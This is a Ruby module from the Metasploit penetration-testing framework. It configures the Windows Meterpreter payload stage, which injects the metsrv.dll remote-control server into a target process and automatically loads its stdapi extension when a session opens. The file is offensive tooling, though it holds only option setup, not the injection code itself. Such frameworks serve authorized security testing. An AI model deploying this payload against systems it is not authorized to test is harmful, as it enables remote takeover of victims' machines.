##
# $Id: meterpreter.rb 4571 2007-03-25 23:35:45Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'
require 'msf/core/payload/windows/dllinject'
require 'msf/base/sessions/meterpreter'

module Msf
module Payloads
module Stages
module Windows

###
#
# Injects the meterpreter server instance DLL via the DLL injection payload.
#
###
module Meterpreter

	include Msf::Payload::Windows::DllInject

	def initialize(info = {})
		super(update_info(info,
			'Name'          => 'Windows Meterpreter',
			'Version'       => '$Revision: 4571 $',
			'Description'   => 'Inject the meterpreter server DLL',
			'Author'        => 'skape',
			'License'       => MSF_LICENSE,
			'Session'       => Msf::Sessions::Meterpreter))

		sep = File::SEPARATOR

		# Override the DLL path with the path to the meterpreter server DLL
		register_options(
			[
				OptPath.new('DLL', 
					[ 
						true, 
						"The local path to the DLL to upload", 
						File.join(Msf::Config.install_root, "data", "meterpreter", "metsrv.dll")
					]),
			], Meterpreter)

		# Set advanced options
		register_advanced_options(
			[
				OptBool.new('AutoLoadStdapi',
					[
						true,
						"Automatically load the Stdapi extension",
						true
					])
			], Meterpreter)

		# Don't let people set the library name option
		options.remove_option('LibraryName')
	end

	#
	# The library name that we're injecting the DLL as has to be metsrv.dll for
	# extensions to make use of.
	#
	def library_name
		"metsrv.dll"
	end

	#
	# Once a session is created, automatically load the stdapi extension if the
	# advanced option is set to true.
	#
	def on_session(session)
		super
		
		session.load_stdapi if (datastore['AutoLoadStdapi'] == true)
	end

end

end end end end
